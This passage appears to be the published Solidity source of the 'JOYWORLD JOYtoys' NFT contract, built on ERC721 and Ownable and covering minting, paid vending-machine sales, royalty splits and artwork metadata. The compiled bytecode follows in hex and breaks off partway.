0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return string(abi.encodePacked(_baseURI, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } interface JOYContract { function ownerOf(uint256 tokenId) external view returns (address owner); } contract JOYtoys is ERC721, Ownable { using SafeMath for uint256; string public joyGalleryLink; uint256 JOYtoyIndex; address payable public joyWallet; mapping(uint256 => string[30]) JOYtoyArtwork; mapping(uint256 => string[30]) artworkTypeMemory; mapping(uint256 => bool[30]) artworkSlotFilled; mapping(uint256 => address[5]) royaltyAddressMemory; mapping(uint256 => uint256[5]) royaltyPercentageMemory; mapping(uint256 => string) toyNameMemory; mapping(uint256 => string) featuresMemory; mapping(uint256 => uint256) editionSizeMemory; mapping(uint256 => string) powerMemory; mapping(uint256 => uint256) editionNumberMemory; mapping(uint256 => uint256) totalCreated; mapping(uint256 => uint256) totalMinted; mapping(uint256 => bool) vendingMachineMode; mapping(uint256 => uint256) priceMemory; mapping(uint256 => uint256) royaltyLengthMemory; mapping(uint256 => uint256) royaltyMemory; mapping(uint256 => uint256) artworkJOYtoyReference; mapping(uint256 => uint256) joyCollabTokenId; mapping(uint256 => address) joyHolderCollaborator; mapping(uint256 => bool) joyHolderCollabActive; mapping(uint256 => uint256) joyHolderCollabPercent; mapping(uint256 => string) collaboratorNamesMemory; string JOYtoyURI1; string JOYtoyURI2; string public artist = "John Orion Young"; string public artworkTypeList; JOYContract private joyWorld = JOYContract(0x6c7B6cc55d4098400aC787C8793205D3E86C37C9); constructor() ERC721("JOYWORLD JOYtoys", "JOYtoy") public { JOYtoyIndex = 1; updateURI("https://joyworld.azurewebsites.net/api/HttpTrigger?id="); updateJOYtoyURI("https://joyworldmulti.azurewebsites.net/api/HttpTrigger?id=", "&artworkIndex="); joyWallet = 0x9aE048c47aef066E03593D5Edb230E3fa80c3f17; } event NewJOYtoyCreated(string artworkHash, string artworkType, string power, string toyName, string feature, uint256 editionSize, bool vendingMachine, uint256 price, uint256 royalty, uint256 JOYtoyIndex); event AddJOYtoyRoyalties(uint256 JOYtoyId, uint256 count); event AddJOYCollector(uint256 JOYtoyId, uint256 joyTokenId, uint256 joyCollectorPercent, bool collectorActive); event ClearRoyalties(uint256 JOYtoyId); event NewArtworkAdded(uint256 JOYtoyToUpdate, string artworkHash, string artworkType, uint256 artworkIndex); event UpdateFeature(uint256 JOYtoyToUpdate, string newFeatures); event UpdatePrice(uint256 JOYtoyToUpdate, uint256 price); function createJOYtoy(string memory artworkHash, string memory artworkType, string memory power, string memory toyName, string memory feature, uint256 editionSize, bool vendingMachine, uint256 price, uint256 royalty) public onlyOwner { JOYtoyArtwork[JOYtoyIndex][1] = artworkHash; artworkTypeMemory[JOYtoyIndex][1] = artworkType; powerMemory[JOYtoyIndex] = power; toyNameMemory[JOYtoyIndex] = toyName; featuresMemory[JOYtoyIndex] = feature; editionSizeMemory[JOYtoyIndex] = editionSize; totalCreated[JOYtoyIndex] = 0; totalMinted[JOYtoyIndex] = 0; artworkSlotFilled[JOYtoyIndex][1] = true; vendingMachineMode[JOYtoyIndex] = vendingMachine; priceMemory[JOYtoyIndex] = price; royaltyMemory[JOYtoyIndex] = royalty; emit NewJOYtoyCreated(artworkHash, artworkType, power, toyName, feature, editionSize, vendingMachine, price, royalty, JOYtoyIndex); JOYtoyIndex = JOYtoyIndex + 1; } function addJOYtoyRoyalties(uint256 JOYtoyId, address[] memory royaltyAddresses, uint256[] memory royaltyPercentage, string memory collaboratorNames) public onlyOwner { require(royaltyAddresses.length == royaltyPercentage.length); require(royaltyAddresses.length <= 5); uint256 totalCollaboratorRoyalties; collaboratorNamesMemory[JOYtoyId] = collaboratorNames; for(uint256 i=0; i<royaltyAddresses.length; i++){ royaltyAddressMemory[JOYtoyId][i] = royaltyAddresses[i]; royaltyPercentageMemory[JOYtoyId][i] = royaltyPercentage[i]; totalCollaboratorRoyalties = totalCollaboratorRoyalties + royaltyPercentage[i]; } royaltyLengthMemory[JOYtoyId] = royaltyAddresses.length; emit AddJOYtoyRoyalties(JOYtoyId, royaltyAddresses.length); } function getRoyalties(uint256 JOYtoyId) public view returns (address[5] memory addresses, uint256[5] memory percentages) { for(uint256 i=0; i<royaltyLengthMemory[JOYtoyId]; i++){ addresses[i] = royaltyAddressMemory[JOYtoyId][i]; percentages[i] = royaltyPercentageMemory[JOYtoyId][i]; } } function addJOYCollector(uint256 JOYtoyId, uint256 joyTokenId, uint256 joyCollectorPercent, bool collectorActive) public onlyOwner { joyCollabTokenId[JOYtoyId] = joyTokenId; joyHolderCollaborator[JOYtoyId] = originalJOYOwner(joyTokenId); joyHolderCollabPercent[JOYtoyId] = joyCollectorPercent; joyHolderCollabActive[JOYtoyId] = collectorActive; emit AddJOYCollector(JOYtoyId, joyTokenId, joyCollectorPercent, collectorActive); } function getJoyCollaborator(uint256 JOYtoyId) public view returns (uint256 joyTokenId, address joyTokenHolder, uint256 joyCollectorPercent, bool collectorActive) { joyTokenId = joyCollabTokenId[JOYtoyId]; joyTokenHolder = joyHolderCollaborator[JOYtoyId]; joyCollectorPercent = joyHolderCollabPercent[JOYtoyId]; collectorActive = joyHolderCollabActive[JOYtoyId]; } function clearRoyalties(uint256 JOYtoyId) public onlyOwner { for(uint256 i=0; i<royaltyLengthMemory[JOYtoyId]; i++){ royaltyAddressMemory[JOYtoyId][i] = 0x0000000000000000000000000000000000000000; royaltyPercentageMemory[JOYtoyId][i] = 0; } collaboratorNamesMemory[JOYtoyId] = ""; royaltyLengthMemory[JOYtoyId] = 0; emit ClearRoyalties(JOYtoyId); } function addJOYtoyArtwork(uint256 JOYtoyToUpdate, string memory artworkHash, string memory artworkType, uint256 artworkIndex) public onlyOwner{ require(artworkSlotFilled[JOYtoyToUpdate][artworkIndex] == false); JOYtoyArtwork[JOYtoyToUpdate][artworkIndex] = artworkHash; artworkTypeMemory[JOYtoyToUpdate][artworkIndex] = artworkType; artworkSlotFilled[JOYtoyToUpdate][artworkIndex] = true; emit NewArtworkAdded(JOYtoyToUpdate, artworkHash, artworkType, artworkIndex); } function updateFeature(uint256 JOYtoyToUpdate, string memory newFeatures) public onlyOwner{ featuresMemory[JOYtoyToUpdate] = newFeatures; emit UpdateFeature(JOYtoyToUpdate, newFeatures); } function updatePrice(uint256 JOYtoyToUpdate, uint256 price) public onlyOwner{ priceMemory[JOYtoyToUpdate] = price; emit UpdatePrice(JOYtoyToUpdate, price/10**18); } function mintJOYtoy(uint256 JOYtoyId, uint256 amountToMint) public onlyOwner { require(totalMinted[JOYtoyId] + amountToMint <= editionSizeMemory[JOYtoyId]); for(uint256 i=totalMinted[JOYtoyId]; i<amountToMint + totalMinted[JOYtoyId]; i++) { uint256 tokenId = totalSupply() + 1; artworkJOYtoyReference[tokenId] = JOYtoyId; editionNumberMemory[tokenId] = i + 1; _safeMint(msg.sender, tokenId); } totalMinted[JOYtoyId] = totalMinted[JOYtoyId] + amountToMint; } function JOYtoyMachine(uint256 JOYtoyId) public payable { require(totalMinted[JOYtoyId] + 1 <= editionSizeMemory[JOYtoyId]); require(vendingMachineMode[JOYtoyId] == true); require(msg.value == priceMemory[JOYtoyId]); uint256 tokenId = totalSupply() + 1; artworkJOYtoyReference[tokenId] = JOYtoyId; editionNumberMemory[tokenId] = totalMinted[JOYtoyId] + 1; (address[5] memory royaltyAddress, uint256[5] memory percentage) = getRoyalties(JOYtoyId); for(uint256 i=0; i<royaltyLengthMemory[JOYtoyId]; i++){ address payable artistWallet = address(uint160(royaltyAddress[i])); artistWallet.transfer(msg.value/100*percentage[i]); } if(joyHolderCollabActive[JOYtoyId] == true){ address payable joyHolder = address(uint160(joyHolderCollaborator[JOYtoyId])); uint256 joyHolderPercentage = joyHolderCollabPercent[JOYtoyId]; joyHolder.transfer(msg.value/100*joyHolderPercentage); } joyWallet.transfer(address(this).balance); _safeMint(msg.sender, tokenId); totalMinted[JOYtoyId] = totalMinted[JOYtoyId] + 1; } function withdrawFunds() public onlyOwner { msg.sender.transfer(address(this).balance); } function getJOYtoyArtworkData(uint256 JOYtoyId, uint256 index) public view returns (string memory artworkHash, string memory artworkType, uint256 unmintedEditions) { artworkHash = JOYtoyArtwork[JOYtoyId][index]; artworkType = artworkTypeMemory[JOYtoyId][index]; unmintedEditions = editionSizeMemory[JOYtoyId] - totalMinted[JOYtoyId]; } function getMetadata(uint256 tokenId) public view returns (string memory toyName, string memory power, uint256 editionSize, uint256 editionNumber, bool vendingMachine, string memory feature, uint256 price, string memory collaborators) { require(_exists(tokenId), "Token does not exist."); uint256 JOYtoyRef = artworkJOYtoyReference[tokenId]; toyName = toyNameMemory[JOYtoyRef]; power = powerMemory[JOYtoyRef]; editionSize = editionSizeMemory[JOYtoyRef]; editionNumber = editionNumberMemory[tokenId]; vendingMachine = vendingMachineMode[JOYtoyRef]; feature = featuresMemory[JOYtoyRef]; price = priceMemory[JOYtoyRef]; collaborators = collaboratorNamesMemory[JOYtoyRef]; } function getRoyaltyData(uint256 tokenId) public view returns (address artistAddress, uint256 royaltyFeeById) { require(_exists(tokenId), "Token does not exist."); uint256 JOYtoyRef = artworkJOYtoyReference[tokenId]; artistAddress = joyWallet; royaltyFeeById = royaltyMemory[JOYtoyRef]; } function getArtworkData(uint256 tokenId, uint256 index) public view returns (string memory artworkHash, string memory artworkType) { require(_exists(tokenId), "Token does not exist."); uint256 JOYtoyRef = artworkJOYtoyReference[tokenId]; artworkHash = JOYtoyArtwork[JOYtoyRef][index]; artworkType = artworkTypeMemory[JOYtoyRef][index]; } function updateGalleryLink(string memory newURL) public onlyOwner { joyGalleryLink = newURL; } function updatePaymentWallet(address payable newWallet) public onlyOwner { joyWallet = newWallet; } function updateURI(string memory newURI) public onlyOwner { _setBaseURI(newURI); } function updateJOYtoyURI(string memory newURI1, string memory newURI2) public onlyOwner { JOYtoyURI1 = newURI1; JOYtoyURI2 = newURI2; } function JOYtoyURI(uint256 tokenId, uint256 artworkIndex) external view returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return string(abi.encodePacked(JOYtoyURI1, integerToString(tokenId), JOYtoyURI2, integerToString(artworkIndex))); } function originalJOYOwner(uint256 joyTokenId) public view returns (address ownerOfJOY) { ownerOfJOY = joyWorld.ownerOf(joyTokenId); } function updateArtworkTypeList(string memory newArtworkTypeList) public onlyOwner { artworkTypeList = newArtworkTypeList; } function integerToString(uint _i) internal pure returns (string memory) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (_i != 0) { bstr[k--] = byte(uint8(48 + _i % 10)); _i /= 10; } return string(bstr); } }
0x60806040526004361061027d5760003560e01c80636c0360eb1161014f578063ac98b3a8116100c1578063d1e47eac1161007a578063d1e47eac146107a3578063df5eb0e7146107c3578063e985e9c5146107e3578063f1f5e3ae14610803578063f2fde38b14610823578063f90efd4a146108435761027d565b8063ac98b3a8146106c5578063ae73ee30146106f5578063b88d4fde14610715578063bb3bafd614610735578063c30f4a5a14610763578063c87b56dd146107835761027d565b80638da5cb5b116101135780638da5cb5b146105f95780638f2c8a711461060e57806395d89b411461062e578063a22cb46514610643578063a574cea414610663578063a65ff74c146106975761027d565b80636c0360eb146105715780636c3465901461058657806370a0823114610599578063747853a3146105b957806382367b2d146105d95761027d565b806323b872dd116101f357806342842e0e116101ac57806342842e0e146104ad57806343bc1612146104cd57806345142c3b146104e25780634f6ccce7146105115780636352211e146105315780636a5d5071146105515761027d565b806323b872dd1461040357806324600fc3146104235780632f745c591461043857806334645e0b146104585780633a964fc71461047857806340f80644146104985761027d565b80630ceb4011116102455780630ceb4011146103495780630d3b39371461037757806313f263b61461039757806318160ddd146103b757806319501a0d146103d957806319588b51146103ee5761027d565b806301ffc9a714610282578063067b5e2f146102b857806306fdde03146102da578063081812fc146102fc578063095ea7b314610329575b600080fd5b34801561028e57600080fd5b506102a261029d36600461319b565b610863565b6040516102af919061375b565b60405180910390f35b3480156102c457600080fd5b506102d86102d3366004613379565b610886565b005b3480156102e657600080fd5b506102ef610a16565b6040516102af9190613766565b34801561030857600080fd5b5061031c610317366004613361565b610aac565b6040516102af919061368b565b34801561033557600080fd5b506102d8610344366004613170565b610aef565b34801561035557600080fd5b50610369610364366004613509565b610b87565b6040516102af929190613779565b34801561038357600080fd5b506102d861039236600461352a565b610d12565b3480156103a357600080fd5b5061031c6103b2366004613361565b610dee565b3480156103c357600080fd5b506103cc610e75565b6040516102af9190613df1565b3480156103e557600080fd5b506102ef610e86565b3480156103fa57600080fd5b506102ef610f14565b34801561040f57600080fd5b506102d861041e366004613092565b610f6f565b34801561042f57600080fd5b506102d8610fa7565b34801561044457600080fd5b506103cc610453366004613170565b61100b565b34801561046457600080fd5b506102d8610473366004613206565b611034565b34801561048457600080fd5b506102d86104933660046131d3565b611090565b3480156104a457600080fd5b5061031c6110dc565b3480156104b957600080fd5b506102d86104c8366004613092565b6110eb565b3480156104d957600080fd5b506102ef611106565b3480156104ee57600080fd5b506105026104fd366004613509565b611161565b6040516102af9392919061383b565b34801561051d57600080fd5b506103cc61052c366004613361565b6112d8565b34801561053d57600080fd5b5061031c61054c366004613361565b6112ee565b34801561055d57600080fd5b506102d861056c366004613361565b611316565b34801561057d57600080fd5b506102ef611435565b6102d8610594366004613361565b611496565b3480156105a557600080fd5b506103cc6105b4366004613022565b6116b5565b3480156105c557600080fd5b506102d86105d4366004613509565b6116fe565b3480156105e557600080fd5b506102d86105f4366004613509565b6117e1565b34801561060557600080fd5b5061031c61186e565b34801561061a57600080fd5b506102ef610629366004613509565b61187d565b34801561063a57600080fd5b506102ef6118e4565b34801561064f57600080fd5b506102d861065e36600461313c565b611945565b34801561066f57600080fd5b5061068361067e366004613361565b611a13565b6040516102af989796959493929190613871565b3480156106a357600080fd5b506106b76106b2366004613361565b611d37565b6040516102af9291906136dc565b3480156106d157600080fd5b506106e56106e0366004613361565b611d90565b6040516102af9493929190613dfa565b34801561070157600080fd5b506102d8610710366004613497565b611dcf565b34801561072157600080fd5b506102d86107303660046130d2565b611f0d565b34801561074157600080fd5b50610755610750366004613361565b611f4c565b6040516102af9291906136f5565b34801561076f57600080fd5b506102d861077e3660046131d3565b611ff4565b34801561078f57600080fd5b506102ef61079e366004613361565b612032565b3480156107af57600080fd5b506102d86107be36600461345c565b61208b565b3480156107cf57600080fd5b506102d86107de366004613022565b612111565b3480156107ef57600080fd5b506102a26107fe36600461305a565b612168565b34801561080f57600080fd5b506102d861081e3660046131d3565b612196565b34801561082f57600080fd5b506102d861083e366004613022565b6121de565b34801561084f57600080fd5b506102d861085e366004613267565b612295565b6001600160e01b0319811660009081526020819052604090205460ff165b919050565b61088e612466565b600a546001600160a01b039081169116146108c45760405162461bcd60e51b81526004016108bb90613c5b565b60405180910390fd5b81518351146108d257600080fd5b6005835111156108e157600080fd5b6000848152602360209081526040822083516108ff92850190612e7e565b5060005b84518110156109be5784818151811061091857fe5b602002602001015160116000888152602001908152602001600020826005811061093e57fe5b0160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555083818151811061096f57fe5b602002602001015160126000888152602001908152602001600020826005811061099557fe5b015583518490829081106109a557fe5b6020026020010151820191508080600101915050610903565b5083516000868152601c60205260409081902091909155845190517fbfe2a08879d416ae190d608771615479fab1c4e850f3a754e6b1e531773f3c6991610a0791889190613e76565b60405180910390a15050505050565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610aa25780601f10610a7757610100808354040283529160200191610aa2565b820191906000526020600020905b815481529060010190602001808311610a8557829003601f168201915b5050505050905090565b6000610ab78261246a565b610ad35760405162461bcd60e51b81526004016108bb90613c0f565b506000908152600460205260409020546001600160a01b031690565b6000610afa826112ee565b9050806001600160a01b0316836001600160a01b03161415610b2e5760405162461bcd60e51b81526004016108bb90613d28565b806001600160a01b0316610b40612466565b6001600160a01b03161480610b5c5750610b5c816107fe612466565b610b785760405162461bcd60e51b81526004016108bb90613ac2565b610b828383612477565b505050565b606080610b938461246a565b610baf5760405162461bcd60e51b81526004016108bb90613be0565b6000848152601e6020818152604080842054808552600e9092529092209085908110610bd757fe5b01805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610c5c5780601f10610c3157610100808354040283529160200191610c5c565b820191906000526020600020905b815481529060010190602001808311610c3f57829003601f168201915b5050506000848152600f6020526040902092955086915050601e8110610c7e57fe5b01805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610d035780601f10610cd857610100808354040283529160200191610d03565b820191906000526020600020905b815481529060010190602001808311610ce657829003601f168201915b50505050509150509250929050565b610d1a612466565b600a546001600160a01b03908116911614610d475760405162461bcd60e51b81526004016108bb90613c5b565b6000848152601f60205260409020839055610d6183610dee565b60008581526020808052604080832080546001600160a01b0319166001600160a01b0395909516949094179093556022815282822085905560219052819020805460ff1916831515179055517f9f72c9db3cb69160d1dc73df416fdb93cda104de31e17ddfc2121e9f5548379d90610de0908690869086908690613e84565b60405180910390a150505050565b6028546040516331a9108f60e11b81526000916001600160a01b031690636352211e90610e1f908590600401613df1565b60206040518083038186803b158015610e3757600080fd5b505afa158015610e4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6f919061303e565b92915050565b6000610e8160026124e5565b905090565b6027805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610f0c5780601f10610ee157610100808354040283529160200191610f0c565b820191906000526020600020905b815481529060010190602001808311610eef57829003601f168201915b505050505081565b600b805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610f0c5780601f10610ee157610100808354040283529160200191610f0c565b610f80610f7a612466565b826124f0565b610f9c5760405162461bcd60e51b81526004016108bb90613d69565b610b82838383612575565b610faf612466565b600a546001600160a01b03908116911614610fdc5760405162461bcd60e51b81526004016108bb90613c5b565b60405133904780156108fc02916000818181858888f19350505050158015611008573d6000803e3d6000fd5b50565b6001600160a01b038216600090815260016020526040812061102d9083612683565b9392505050565b61103c612466565b600a546001600160a01b039081169116146110695760405162461bcd60e51b81526004016108bb90613c5b565b815161107c906024906020850190612e7e565b508051610b82906025906020840190612e7e565b611098612466565b600a546001600160a01b039081169116146110c55760405162461bcd60e51b81526004016108bb90613c5b565b80516110d890600b906020840190612e7e565b5050565b600d546001600160a01b031681565b610b8283838360405180602001604052806000815250611f0d565b6026805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610f0c5780601f10610ee157610100808354040283529160200191610f0c565b6000828152600e60205260408120606091829184601e811061117f57fe5b01805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156112045780601f106111d957610100808354040283529160200191611204565b820191906000526020600020905b8154815290600101906020018083116111e757829003601f168201915b5050506000888152600f6020526040902092955